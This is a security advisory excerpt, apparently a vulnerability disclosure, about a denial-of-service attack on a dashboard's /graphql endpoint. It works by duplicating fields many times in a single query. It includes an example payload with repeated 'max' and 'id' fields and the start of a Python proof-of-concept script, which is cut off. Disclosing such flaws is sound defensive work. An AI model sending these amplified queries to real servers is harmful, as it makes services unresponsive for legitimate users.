Summary A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users. Details Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard: By modifying the data sent and duplicating many times the fields a DoS attack is possible. PoC The goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it. {'query': 'query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }'} Although that payload seems harmless, a bigger one leaves the service unresponsive. The following code might serve as a PoC written in Python3: “`# Field Duplication DoS GitHub @asantof import requests CHANGE THIS VALUES: url, auth_token, query_name, collection_name url = 'https://0.0.0.0:8055/graphql'…Read More